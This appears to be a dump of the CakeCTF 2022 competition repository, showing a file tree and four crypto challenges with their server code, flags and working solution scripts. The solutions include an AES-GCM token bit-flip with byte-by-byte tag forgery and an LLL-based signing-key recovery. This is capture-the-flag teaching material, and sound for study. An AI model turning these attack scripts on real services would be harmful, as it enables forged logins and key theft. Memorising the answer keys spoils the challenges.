├── README.md ├── crypto ├── brand_new_crypto │ ├── build.bash │ ├── challenge │ │ └── task.py │ ├── distfiles │ │ ├── output.txt │ │ └── task.py │ ├── solution │ │ └── solve.py │ └── task.yml ├── frozen_cake │ ├── build.bash │ ├── challenge │ │ └── task.py │ ├── distfiles │ │ ├── output.txt │ │ └── task.py │ ├── solution │ │ └── solve.py │ └── task.yml ├── hi_yoshiking │ ├── Dockerfile │ ├── Makefile │ ├── challenge │ │ └── server.rb │ ├── distfiles │ │ └── server.rb │ ├── docker-compose.yml │ ├── solution │ │ └── solve.py │ └── task.yml └── rock_door │ ├── Dockerfile │ ├── build.bash │ ├── challenge │ └── server.py │ ├── distfiles │ └── server.py │ ├── docker-compose.yml │ ├── solution │ └── solve.sage │ └── task.yml ├── misc ├── c_sandbox │ ├── Dockerfile │ ├── challenge │ │ ├── CMakeLists.txt │ │ ├── compiler.py │ │ ├── ctf.xinetd │ │ ├── flag.txt │ │ ├── init.sh │ │ ├── redir.sh │ │ └── sandbox.cpp │ ├── distfiles │ │ ├── CMakeLists.txt │ │ ├── Dockerfile │ │ ├── compiler.py │ │ ├── libCSandbox.so │ │ └── sandbox.cpp │ ├── docker-compose.yml │ ├── solution │ │ └── solve.c │ └── task.yml ├── cake_memory │ ├── challenge │ │ ├── Cargo.toml │ │ ├── resources │ │ │ └── snd │ │ │ │ ├── beep │ │ │ │ ├── click.wav │ │ │ │ ├── correct.wav │ │ │ │ └── wrong.wav │ │ │ │ └── voice │ │ │ │ ├── blue.wav │ │ │ │ ├── burgundy.wav │ │ │ │ ├── cake.wav │ │ │ │ ├── coquelicot.wav │ │ │ │ ├── e.wav │ │ │ │ ├── flag.wav │ │ │ │ ├── g.wav │ │ │ │ ├── green.wav │ │ │ │ ├── heart.wav │ │ │ │ ├── j.wav │ │ │ │ ├── kitten.wav │ │ │ │ ├── lambda.wav │ │ │ │ ├── omega.wav │ │ │ │ ├── orange.wav │ │ │ │ ├── pi.wav │ │ │ │ ├── question.wav │ │ │ │ ├── r1.wav │ │ │ │ ├── r2.wav │ │ │ │ ├── r3.wav │ │ │ │ ├── r4.wav │ │ │ │ ├── r5.wav │ │ │ │ ├── red.wav │ │ │ │ ├── smiley.wav │ │ │ │ ├── tangerine.wav │ │ │ │ ├── theta.wav │ │ │ │ ├── turquoise.wav │ │ │ │ ├── violet.wav │ │ │ │ ├── white.wav │ │ │ │ └── yellow.wav │ │ └── src │ │ │ └── main.rs │ ├── distfiles │ │ ├── CakeMemory.exe │ │ ├── CakeMemory.linux │ │ ├── hint.rs │ │ └── resources │ │ │ └── snd │ │ │ ├── beep │ │ │ ├── click.wav │ │ │ ├── correct.wav │ │ │ └── wrong.wav │ │ │ └── voice │ │ │ ├── blue.wav │ │ │ ├── burgundy.wav │ │ │ ├── cake.wav │ │ │ ├── coquelicot.wav │ │ │ ├── e.wav │ │ │ ├── flag.wav │ │ │ ├── g.wav │ │ │ ├── green.wav │ │ │ ├── heart.wav │ │ │ ├── j.wav │ │ │ ├── kitten.wav │ │ │ ├── lambda.wav │ │ │ ├── omega.wav │ │ │ ├── orange.wav │ │ │ ├── pi.wav │ │ │ ├── question.wav │ │ │ ├── r1.wav │ │ │ ├── r2.wav │ │ │ ├── r3.wav │ │ │ ├── r4.wav │ │ │ ├── r5.wav │ │ │ ├── red.wav │ │ │ ├── smiley.wav │ │ │ ├── tangerine.wav │ │ │ ├── theta.wav │ │ │ ├── turquoise.wav │ │ │ ├── violet.wav │ │ │ ├── white.wav │ │ │ └── yellow.wav │ └── task.yml ├── matsushima3 │ ├── distfiles │ │ ├── client │ │ │ ├── LICENSE.txt │ │ │ ├── game.py │ │ │ ├── requirements.txt │ │ │ └── resource.pyxres │ │ ├── docker-compose.yml │ │ ├── redis │ │ │ ├── Dockerfile │ │ │ └── redis.conf │ │ └── server │ │ │ ├── Dockerfile │ │ │ ├── app.py │ │ │ └── uwsgi.ini │ ├── docker-compose.yml │ ├── solution │ │ └── game.mod.py │ └── task.yml └── readme2022 │ ├── Dockerfile │ ├── distfiles │ ├── Dockerfile │ └── server.py │ ├── docker-compose.yml │ └── task.yml ├── pwn ├── crc32pwn │ ├── challenge │ │ ├── 01_build.sh │ │ ├── 02_start.sh │ │ ├── Dockerfile │ │ ├── Makefile │ │ ├── crc32sum │ │ ├── crc32sum.c │ │ ├── flag.txt │ │ └── pwn.xinetd │ ├── distfiles │ │ ├── 01_build.sh │ │ ├── 02_start.sh │ │ ├── Dockerfile │ │ ├── crc32sum │ │ ├── crc32sum.c │ │ └── flag.txt │ ├── solution │ │ └── exploit.sh │ └── task.yml ├── smal_arey │ ├── Dockerfile │ ├── challenge │ │ ├── Makefile │ │ ├── flag.txt │ │ ├── init.sh │ │ ├── main.c │ │ ├── pwn.xinetd │ │ └── redir.sh │ ├── distfiles │ │ ├── chall │ │ ├── ld-2.31.so │ │ ├── libc-2.31.so │ │ └── main.c │ ├── docker-compose.yml │ ├── solution │ │ └── solve.py │ └── task.yml ├── str_vs_cstr │ ├── Dockerfile │ ├── challenge │ │ ├── Makefile │ │ ├── flag.txt │ │ ├── init.sh │ │ ├── main.cpp │ │ ├── pwn.xinetd │ │ └── redir.sh │ ├── distfiles │ │ ├── chall │ │ └── main.cpp │ ├── docker-compose.yml │ ├── solution │ │ └── solve.py │ └── task.yml └── welkerme │ ├── challenge │ ├── pwn.xinetd │ ├── qemu │ │ ├── bzImage │ │ ├── rootfs.cpio │ │ └── run_qemu.sh │ └── src │ │ ├── Makefile │ │ ├── driver.c │ │ └── driver.ko │ ├── distfiles │ ├── Makefile │ ├── README.ja.md │ ├── README.md │ ├── debug.sh │ ├── exploit.c │ ├── run.sh │ ├── src │ │ └── driver.c │ └── vm │ │ ├── bzImage │ │ ├── debugfs.cpio │ │ └── rootfs.cpio │ ├── solution │ └── exploit.c │ └── task.yml ├── rev ├── kiwi │ ├── Dockerfile │ ├── challenge │ │ ├── Makefile │ │ ├── cakectf.hpp │ │ ├── cakectf.kiwi │ │ ├── ctf.xinetd │ │ ├── flag.txt │ │ ├── init.sh │ │ ├── kiwi.h │ │ ├── main.cpp │ │ └── redir.sh │ ├── distfiles │ │ ├── chall │ │ └── flag.txt │ ├── docker-compose.yml │ ├── solution │ │ └── solve.py │ └── task.yml ├── luau │ ├── challenge │ │ ├── Makefile │ │ ├── gen.py │ │ ├── main.lua │ │ └── src_libflag.lua │ ├── distfiles │ │ ├── libflag.lua │ │ └── main.lua │ ├── solution │ │ └── solve.py │ └── task.yml ├── nimrev │ ├── challenge │ │ ├── Makefile │ │ └── main.nim │ ├── distfiles │ │ └── chall │ └── task.yml └── zundamon │ ├── challenge │ ├── Makefile │ └── main.c │ ├── distfiles │ ├── evidence.pcapng │ └── zundamon │ ├── solution │ └── solve.py │ └── task.yml └── web ├── cakegear ├── Dockerfile ├── challenge │ └── flag.txt ├── distfiles │ ├── Dockerfile │ ├── admin.php │ └── index.php ├── docker-compose.yml ├── solution │ └── solve.py └── task.yml ├── imagesurfing ├── Dockerfile ├── challenge │ └── flag.txt ├── distfiles │ ├── Dockerfile │ ├── flag.txt │ └── index.php ├── docker-compose.yml ├── solution │ └── solve.py └── task.yml ├── openbio ├── distfiles │ ├── crawler │ │ ├── Dockerfile │ │ ├── crawler.js │ │ └── package.json │ ├── docker-compose.yml │ ├── redis │ │ ├── Dockerfile │ │ └── redis.conf │ └── service │ │ ├── Dockerfile │ │ ├── app.py │ │ ├── templates │ │ ├── index.html │ │ ├── login.html │ │ └── profile.html │ │ └── uwsgi.ini ├── docker-compose.yml ├── solution │ ├── gen.py │ └── template.html └── task.yml └── panda_memo ├── Dockerfile ├── build_docker.sh ├── cake_chef.sh ├── distfiles ├── Dockerfile ├── package.json ├── server.js └── views │ ├── admin.html │ └── index.html ├── flag.txt ├── secret.txt ├── solution └── solve.py ├── task.yml └── web.xinetd /README.md: -------------------------------------------------------------------------------- 1 | # CakeCTF 2022 2 | 3 | - https://2022.cakectf.com/ 4 | - https://ctftime.org/event/1683 5 | 6 | 7 | ## authors 8 | 9 | - [theoldmoon0602](https://github.com/theoremoon) 10 | - [ptr-yudai](https://github.com/ptr-yudai) 11 | - [yoshiking](https://github.com/y05h1k1ng) 12 | -------------------------------------------------------------------------------- /crypto/brand_new_crypto/build.bash: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -ex 3 | 4 | export FLAG=CakeCTF{s0_anyway_tak3_car3_0f_0n3_byt3_p1aint3xt} 5 | case $1 in 6 | clean) 7 | rm -rf ./distfiles 8 | ;; 9 | 10 | *) 11 | rm -rf ./distfiles 12 | mkdir -p ./distfiles 13 | python3 ./challenge/task.py > ./distfiles/output.txt 14 | cp ./challenge/task.py ./distfiles 15 | ;; 16 | esac 17 | -------------------------------------------------------------------------------- /crypto/brand_new_crypto/challenge/task.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime, getRandomRange, inverse, GCD 2 | import os 3 | 4 | flag = os.getenv("FLAG", "FakeCTF{sushi_no_ue_nimo_sunshine}").encode() 5 | 6 | 7 | def keygen(): 8 | p = getPrime(512) 9 | q = getPrime(512) 10 | 11 | n = p * q 12 | phi = (p-1)*(q-1) 13 | 14 | while True: 15 | a = getRandomRange(0, phi) 16 | b = phi + 1 - a 17 | 18 | s = getRandomRange(0, phi) 19 | t = -s*a * inverse(b, phi) % phi 20 | 21 | if GCD(b, phi) == 1: 22 | return (s, t, n), (a, b, n) 23 | 24 | 25 | def enc(m, k): 26 | s, t, n = k 27 | r = getRandomRange(0, n) 28 | return m * pow(r, s, n) % n, m * pow(r, t, n) % n 29 | 30 | 31 | def dec(c1, c2, k): 32 | a, b, n = k 33 | return pow(c1, a, n) * pow(c2, b, n) % n 34 | 35 | 36 | pubkey, privkey = keygen() 37 | 38 | c = [] 39 | for m in flag: 40 | c1, c2 = enc(m, pubkey) 41 | assert dec(c1, c2, privkey) 42 | 43 | c.append((c1, c2)) 44 | 45 | print(pubkey) 46 | print(c) 47 | 48 | -------------------------------------------------------------------------------- /crypto/brand_new_crypto/distfiles/task.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime, getRandomRange, inverse, GCD 2 | import os 3 | 4 | flag = os.getenv("FLAG", "FakeCTF{sushi_no_ue_nimo_sunshine}").encode() 5 | 6 | 7 | def keygen(): 8 | p = getPrime(512) 9 | q = getPrime(512) 10 | 11 | n = p * q 12 | phi = (p-1)*(q-1) 13 | 14 | while True: 15 | a = getRandomRange(0, phi) 16 | b = phi + 1 - a 17 | 18 | s = getRandomRange(0, phi) 19 | t = -s*a * inverse(b, phi) % phi 20 | 21 | if GCD(b, phi) == 1: 22 | break 23 | return (s, t, n), (a, b, n) 24 | 25 | 26 | def enc(m, k): 27 | s, t, n = k 28 | r = getRandomRange(0, n) 29 | 30 | c1, c2 = m * pow(r, s, n) % n, m * pow(r, t, n) % n 31 | assert (c1 * inverse(m, n) % n) * inverse(c2 * inverse(m, n) % n, n) % n == pow(r, s - t, n) 32 | assert pow(r, s -t ,n) == c1 * inverse(c2, n) % n 33 | return m * pow(r, s, n) % n, m * pow(r, t, n) % n 34 | 35 | 36 | def dec(c1, c2, k): 37 | a, b, n = k 38 | return pow(c1, a, n) * pow(c2, b, n) % n 39 | 40 | 41 | pubkey, privkey = keygen() 42 | 43 | c = [] 44 | for m in flag: 45 | c1, c2 = enc(m, pubkey) 46 | assert dec(c1, c2, privkey) 47 | 48 | c.append((c1, c2)) 49 | 50 | print(pubkey) 51 | print(c) 52 | 53 | -------------------------------------------------------------------------------- /crypto/brand_new_crypto/solution/solve.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import inverse 2 | 3 | key, c = open("output.txt").read().strip().split("\n") 4 | 5 | s, t, n = eval(key) 6 | c = eval(c) 7 | 8 | flag = [] 9 | for (c1, c2) in c: 10 | for m in range(0x20, 0x7f): 11 | rs = c1 * inverse(m, n) % n 12 | rst = pow(rs, t, n) 13 | c2s = pow(c2, s, n) 14 | 15 | ms = c2s * inverse(rst, n) % n 16 | if pow(m, s, n) == ms: 17 | flag.append(m) 18 | break 19 | else: 20 | raise ValueError("XP") 21 | print(bytes(flag)) 22 | 23 | 24 | 25 | 26 | 27 | -------------------------------------------------------------------------------- /crypto/brand_new_crypto/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: brand new crypto 3 | description: > 4 |

One day, I came up with a brand-new idea.

5 | flag: "CakeCTF{s0_anyway_tak3_car3_0f_0n3_byt3_p1aint3xt}" 6 | author: theoremoon 7 | tags: 8 | - crypto 9 | is_survey: false 10 | -------------------------------------------------------------------------------- /crypto/frozen_cake/build.bash: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -ex 3 | 4 | export FLAG=CakeCTF{oh_you_got_a_tepid_cake_sorry} 5 | case $1 in 6 | clean) 7 | rm -rf ./distfiles 8 | ;; 9 | 10 | *) 11 | rm -rf ./distfiles 12 | mkdir -p ./distfiles 13 | python3 ./challenge/task.py > ./distfiles/output.txt 14 | cp ./challenge/task.py ./distfiles 15 | ;; 16 | esac 17 | -------------------------------------------------------------------------------- /crypto/frozen_cake/challenge/task.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime 2 | import os 3 | 4 | flag = os.getenv("FLAG", "FakeCTF{warmup_a_frozen_cake}") 5 | m = int(flag.encode().hex(), 16) 6 | 7 | p = getPrime(512) 8 | q = getPrime(512) 9 | 10 | n = p*q 11 | 12 | print("n =", n) 13 | print("a =", pow(m, p, n)) 14 | print("b =", pow(m, q, n)) 15 | print("c =", pow(m, n, n)) 16 | -------------------------------------------------------------------------------- /crypto/frozen_cake/distfiles/output.txt: -------------------------------------------------------------------------------- 1 | n = 101205131618457490641888226172378900782027938652382007193297646066245321085334424928920128567827889452079884571045344711457176257019858157287424646000972526730522884040459357134430948940886663606586037466289300864147185085616790054121654786459639161527509024925015109654917697542322418538800304501255357308131 2 | a = 38686943509950033726712042913718602015746270494794620817845630744834821038141855935687477445507431250618882887343417719366326751444481151632966047740583539454488232216388308299503129892656814962238386222995387787074530151173515835774172341113153924268653274210010830431617266231895651198976989796620254642528 3 | b = 83977895709438322981595417453453058400465353471362634652936475655371158094363869813512319678334779139681172477729044378942906546785697439730712057649619691929500952253818768414839548038664187232924265128952392200845425064991075296143440829148415481807496095010301335416711112897000382336725454278461965303477 4 | c = 21459707600930866066419234194792759634183685313775248277484460333960658047171300820279668556014320938220170794027117386852057041210320434076253459389230704653466300429747719579911728990434338588576613885658479123772761552010662234507298817973164062457755456249314287213795660922615911433075228241429771610549 5 | -------------------------------------------------------------------------------- /crypto/frozen_cake/distfiles/task.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime 2 | import os 3 | 4 | flag = os.getenv("FLAG", "FakeCTF{warmup_a_frozen_cake}") 5 | m = int(flag.encode().hex(), 16) 6 | 7 | p = getPrime(512) 8 | q = getPrime(512) 9 | 10 | n = p*q 11 | 12 | print("n =", n) 13 | print("a =", pow(m, p, n)) 14 | print("b =", pow(m, q, n)) 15 | print("c =", pow(m, n, n)) 16 | -------------------------------------------------------------------------------- /crypto/frozen_cake/solution/solve.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import inverse 2 | 3 | with open("output.txt") as f: 4 | n = int(f.readline().strip().split(" = ")[1]) 5 | a = int(f.readline().strip().split(" = ")[1]) 6 | b = int(f.readline().strip().split(" = ")[1]) 7 | c = int(f.readline().strip().split(" = ")[1]) 8 | 9 | m = inverse(c * inverse(a*b, n) % n, n) 10 | print(bytes.fromhex(hex(m)[2:])) 11 | -------------------------------------------------------------------------------- /crypto/frozen_cake/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: frozen cake 3 | description: > 4 |

oh your cake is frozen. please warm it up and get the first cake.

5 | flag: "CakeCTF{oh_you_got_a_tepid_cake_sorry}" 6 | author: theoremoon 7 | tags: 8 | - crypto 9 | - warmup 10 | is_survey: false 11 | -------------------------------------------------------------------------------- /crypto/hi_yoshiking/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ruby:3-slim-bullseye 2 | 3 | ENV DEBIAN_FRONTEND noninteractive 4 | 5 | RUN apt-get update && apt-get install -yqq socat 6 | ADD challenge/server.rb server.rb 7 | 8 | ENV flag "CakeCTF{hi_yoshiking_lets_go_sushi}" 9 | CMD socat TCP-L:9999,fork,reuseaddr EXEC:"ruby server.rb" 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /crypto/hi_yoshiking/Makefile: -------------------------------------------------------------------------------- 1 | build: 2 | rm -rf distfiles 3 | mkdir -p distfiles 4 | cp ./challenge/server.rb ./distfiles 5 | 6 | clean: 7 | rm -rf distfiles 8 | -------------------------------------------------------------------------------- /crypto/hi_yoshiking/challenge/server.rb: -------------------------------------------------------------------------------- 1 | require 'openssl' 2 | require 'json' 3 | 4 | class String 5 | def hex 6 | return self.unpack("H*")[0] 7 | end 8 | 9 | def unhex 10 | return [self].pack("H*") 11 | end 12 | end 13 | 14 | 15 | STDOUT.sync = true 16 | key = OpenSSL::Random.random_bytes(32) 17 | 18 | while true 19 | puts "1: create your token\n2: login with your token" 20 | print "> " 21 | 22 | case gets.strip.to_i 23 | when 1 then 24 | iv = OpenSSL::Random.random_bytes(12) 25 | print "your name: " 26 | 27 | name = gets.strip 28 | encryptor = OpenSSL::Cipher.new('AES-256-GCM') 29 | encryptor.encrypt 30 | encryptor.key = key 31 | encryptor.iv = iv 32 | 33 | token = encryptor.update(JSON.generate({ 34 | "username" => name, 35 | "is_yoshiking" => false, 36 | })) + encryptor.final 37 | puts "your token: #{iv.hex}:#{token.hex}:#{encryptor.auth_tag.hex}" 38 | 39 | when 2 then 40 | print "your token: " 41 | 42 | begin 43 | iv, c, tag = gets.strip.split(":").map(&:unhex) 44 | 45 | decryptor = OpenSSL::Cipher.new('AES-256-GCM') 46 | decryptor.decrypt 47 | decryptor.key = key 48 | decryptor.iv = iv 49 | decryptor.auth_tag = tag 50 | 51 | data = JSON.parse(decryptor.update(c) + decryptor.final) 52 | 53 | if data["username"] == "yoshiking" and data["is_yoshiking"] then 54 | raise "I know it is fake at all" unless tag.size == 16 55 | puts "I'm glad you could come, yoshiking. Here is the flag: #{ENV["flag"] || "fakeCTF{yoyooyoyoyyoo_shikiiiiiiiing}"}" 56 | else 57 | puts "hello #{data["username"]}" 58 | end 59 | 60 | rescue => e 61 | p e 62 | end 63 | 64 | else 65 | break 66 | end 67 | end 68 | 69 | -------------------------------------------------------------------------------- /crypto/hi_yoshiking/distfiles/server.rb: -------------------------------------------------------------------------------- 1 | require 'openssl' 2 | require 'json' 3 | 4 | class String 5 | def hex 6 | return self.unpack("H*")[0] 7 | end 8 | 9 | def unhex 10 | return [self].pack("H*") 11 | end 12 | end 13 | 14 | 15 | STDOUT.sync = true 16 | key = OpenSSL::Random.random_bytes(32) 17 | 18 | while true 19 | puts "1: create your token\n2: login with your token" 20 | print "> " 21 | 22 | case gets.strip.to_i 23 | when 1 then 24 | iv = OpenSSL::Random.random_bytes(12) 25 | print "your name: " 26 | 27 | name = gets.strip 28 | encryptor = OpenSSL::Cipher.new('AES-256-GCM') 29 | encryptor.encrypt 30 | encryptor.key = key 31 | encryptor.iv = iv 32 | 33 | token = encryptor.update(JSON.generate({ 34 | "username" => name, 35 | "is_yoshiking" => false, 36 | })) + encryptor.final 37 | puts "your token: #{iv.hex}:#{token.hex}:#{encryptor.auth_tag.hex}" 38 | 39 | when 2 then 40 | print "your token: " 41 | 42 | begin 43 | iv, c, tag = gets.strip.split(":").map(&:unhex) 44 | 45 | decryptor = OpenSSL::Cipher.new('AES-256-GCM') 46 | decryptor.decrypt 47 | decryptor.key = key 48 | decryptor.iv = iv 49 | decryptor.auth_tag = tag 50 | 51 | data = JSON.parse(decryptor.update(c) + decryptor.final) 52 | 53 | if data["username"] == "yoshiking" and data["is_yoshiking"] then 54 | raise "I know it is fake at all" unless tag.size == 16 55 | puts "I'm glad you could come, yoshiking. Here is the flag: #{ENV["flag"] || "fakeCTF{yoyooyoyoyyoo_shikiiiiiiiing}"}" 56 | else 57 | puts "hello #{data["username"]}" 58 | end 59 | 60 | rescue => e 61 | p e 62 | end 63 | 64 | else 65 | break 66 | end 67 | end 68 | 69 | -------------------------------------------------------------------------------- /crypto/hi_yoshiking/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | yo: 4 | build: ./ 5 | ports: 6 | - 10333:9999 7 | restart: unless-stopped 8 | -------------------------------------------------------------------------------- /crypto/hi_yoshiking/solution/solve.py: -------------------------------------------------------------------------------- 1 | from ptrlib import Socket, xor 2 | 3 | sock = Socket("localhost", 10333) 4 | 5 | sock.sendlineafter("> ", "1") 6 | sock.sendlineafter("name: ", "yoshiking") 7 | iv, token, tag = [bytes.fromhex(x) for x in sock.recvlineafter("token: ").strip().decode().split(":")] 8 | 9 | key = xor( 10 | '{"username":"yoshiking","is_yoshiking":false}', 11 | '{"username":"yoshiking","is_yoshiking": true}', 12 | ) 13 | token = xor(token, key) 14 | 15 | known_tag = b"" 16 | for i in range(16): 17 | for tag in range(256): 18 | sock.sendlineafter("> ", "2") 19 | sock.sendlineafter("token: ", "{}:{}:{}".format( 20 | iv.hex(), 21 | token.hex(), 22 | (known_tag + bytes([tag])).hex(), 23 | )) 24 | 25 | line = sock.recvline().decode() 26 | if "CipherError" not in line: 27 | known_tag = known_tag + bytes([tag]) 28 | if i == 15: 29 | print(line) 30 | quit() 31 | break 32 | 33 | 34 | -------------------------------------------------------------------------------- /crypto/hi_yoshiking/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: hi yoshiking 3 | description: > 4 |

Hello, I prepared a special flag for yoshiking, not for you!

5 | nc {host} {port} 6 | flag: "CakeCTF{hi_yoshiking_lets_go_sushi}" 7 | author: theoremoon 8 | host: crypto.2022.cakectf.com 9 | port: 10333 10 | tags: 11 | - crypto 12 | is_survey: false 13 | -------------------------------------------------------------------------------- /crypto/rock_door/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.10-slim-buster 2 | 3 | ENV DEBIAN_FRONTEND noninteractive 4 | 5 | RUN apt-get update && apt-get install -yqq socat 6 | RUN pip install pycryptodome 7 | ADD challenge/server.py server.py 8 | 9 | ENV FLAG "CakeCTF{uum_hash_is_too_small_compared_to_modulus}" 10 | CMD socat TCP-L:9999,fork,reuseaddr EXEC:"python server.py" 11 | 12 | -------------------------------------------------------------------------------- /crypto/rock_door/build.bash: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #!/bin/bash 4 | set -ex 5 | 6 | case $1 in 7 | clean) 8 | rm -rf ./distfiles 9 | ;; 10 | 11 | *) 12 | rm -rf ./distfiles 13 | mkdir -p ./distfiles 14 | cp ./challenge/server.py ./distfiles/server.py 15 | ;; 16 | esac 17 | -------------------------------------------------------------------------------- /crypto/rock_door/challenge/server.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime, isPrime, getRandomRange, inverse, long_to_bytes 2 | from hashlib import sha256 3 | import os 4 | import secrets 5 | 6 | 7 | def h(s: bytes) -> int: 8 | return int(sha256(s).hexdigest(), 16) 9 | 10 | 11 | q = 139595134938137125662213161156181357366667733392586047467709957620975239424132898952897224429799258317678109670496340581564934129688935033567814222358970953132902736791312678038626149091324686081666262178316573026988062772862825383991902447196467669508878604109723523126621328465807542441829202048500549865003 12 | p = 2*q + 1 13 | 14 | assert isPrime(p) 15 | assert isPrime(q) 16 | 17 | g = 2 18 | flag = os.getenv("FLAG", "FakeCTF{hahaha_shshsh_hashman}") 19 | x = h(secrets.token_bytes(16) + flag.encode()) 20 | y = pow(g, x, p) 21 | 22 | 23 | def sign(m: bytes): 24 | z = h(m) 25 | k = h(long_to_bytes(x + z)) 26 | r = h(long_to_bytes(pow(g, k, p))) 27 | s = (z + x*r) * inverse(k, q) % q 28 | return r, s 29 | 30 | 31 | def verify(m: bytes, r: int, s: int): 32 | z = h(m) 33 | sinv = inverse(s, q) 34 | gk = pow(g, sinv*z, p) * pow(y, sinv*r, p) % p 35 | r2 = h(long_to_bytes(gk)) 36 | return r == r2 37 | 38 | 39 | print("p =", p) 40 | print("g =", g) 41 | print("y =", y) 42 | 43 | print("=== sign ===") 44 | m = input("m = ").strip().encode() 45 | if b"goma" in m: 46 | quit() 47 | 48 | r, s = sign(m) 49 | # print("r =", r) do you really need? 50 | print("s =", s) 51 | 52 | print("=== verify ===") 53 | m = input("m = ").strip().encode() 54 | r = int(input("r = ")) 55 | s = int(input("s = ")) 56 | assert 0 < r < q 57 | assert 0 < s < q 58 | 59 | ok = verify(m, r, s) 60 | if ok and m == b"hirake goma": 61 | print(flag) 62 | elif ok: 63 | print("OK") 64 | else: 65 | print("NG") 66 | -------------------------------------------------------------------------------- /crypto/rock_door/distfiles/server.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime, isPrime, getRandomRange, inverse, long_to_bytes 2 | from hashlib import sha256 3 | import os 4 | import secrets 5 | 6 | 7 | def h(s: bytes) -> int: 8 | return int(sha256(s).hexdigest(), 16) 9 | 10 | 11 | q = 139595134938137125662213161156181357366667733392586047467709957620975239424132898952897224429799258317678109670496340581564934129688935033567814222358970953132902736791312678038626149091324686081666262178316573026988062772862825383991902447196467669508878604109723523126621328465807542441829202048500549865003 12 | p = 2*q + 1 13 | 14 | assert isPrime(p) 15 | assert isPrime(q) 16 | 17 | g = 2 18 | flag = os.getenv("FLAG", "FakeCTF{hahaha_shshsh_hashman}") 19 | x = h(secrets.token_bytes(16) + flag.encode()) 20 | y = pow(g, x, p) 21 | 22 | 23 | def sign(m: bytes): 24 | z = h(m) 25 | k = h(long_to_bytes(x + z)) 26 | r = h(long_to_bytes(pow(g, k, p))) 27 | s = (z + x*r) * inverse(k, q) % q 28 | return r, s 29 | 30 | 31 | def verify(m: bytes, r: int, s: int): 32 | z = h(m) 33 | sinv = inverse(s, q) 34 | gk = pow(g, sinv*z, p) * pow(y, sinv*r, p) % p 35 | r2 = h(long_to_bytes(gk)) 36 | return r == r2 37 | 38 | 39 | print("p =", p) 40 | print("g =", g) 41 | print("y =", y) 42 | 43 | print("=== sign ===") 44 | m = input("m = ").strip().encode() 45 | if b"goma" in m: 46 | quit() 47 | 48 | r, s = sign(m) 49 | # print("r =", r) do you really need? 50 | print("s =", s) 51 | 52 | print("=== verify ===") 53 | m = input("m = ").strip().encode() 54 | r = int(input("r = ")) 55 | s = int(input("s = ")) 56 | assert 0 < r < q 57 | assert 0 < s < q 58 | 59 | ok = verify(m, r, s) 60 | if ok and m == b"hirake goma": 61 | print(flag) 62 | elif ok: 63 | print("OK") 64 | else: 65 | print("NG") 66 | -------------------------------------------------------------------------------- /crypto/rock_door/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | dsa: 4 | build: ./ 5 | ports: 6 | - 10987:9999 7 | restart: unless-stopped 8 | -------------------------------------------------------------------------------- /crypto/rock_door/solution/solve.sage: -------------------------------------------------------------------------------- 1 | from ptrlib import Socket 2 | from hashlib import sha256 3 | from Crypto.Util.number import long_to_bytes, inverse 4 | 5 | def thues_lemma(a, mod): 6 | R = Zmod(mod) 7 | A = matrix([ 8 | [1, a], 9 | [0, mod] 10 | ]) 11 | A = A.LLL() 12 | return int(abs(A[0][0])), int(abs(A[0][1])) 13 | 14 | def h(s: bytes) -> int: 15 | return int(sha256(s).hexdigest(), 16) 16 | 17 | 18 | g = 2 19 | def sign(m: bytes): 20 | z = h(m) 21 | k = h(long_to_bytes(x + z)) 22 | r = h(long_to_bytes(pow(g, k, p))) 23 | s = (z + x*r) * inverse(k, q) % q 24 | return r, s 25 | 26 | q = 139595134938137125662213161156181357366667733392586047467709957620975239424132898952897224429799258317678109670496340581564934129688935033567814222358970953132902736791312678038626149091324686081666262178316573026988062772862825383991902447196467669508878604109723523126621328465807542441829202048500549865003 27 | p = 2*q + 1 28 | 29 | sock = Socket("localhost", 9999) 30 | m = b"the quick brown fox" 31 | 32 | sock.sendlineafter("m = ", m) 33 | # r = int(sock.recvlineafter("r = ")) 34 | s = int(sock.recvlineafter("s = ")) 35 | 36 | t, k = thues_lemma(s, q) 37 | if k > t: 38 | t, k = k, t 39 | r = h(long_to_bytes(pow(g, k, p))) 40 | x = (t - h(m)) * inverse(r, q) % q 41 | 42 | m2 = b"hirake goma" 43 | r2, s2 = sign(m2) 44 | 45 | sock.sendlineafter("m = ", m2) 46 | sock.sendlineafter("r = ", str(r2)) 47 | sock.sendlineafter("s = ", str(s2)) 48 | 49 | print(sock.recvline()) 50 | -------------------------------------------------------------------------------- /crypto/rock_door/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Rock Door 3 | description: > 4 |

If the Rock Door had verified the signature, Alibaba could have done nothing.

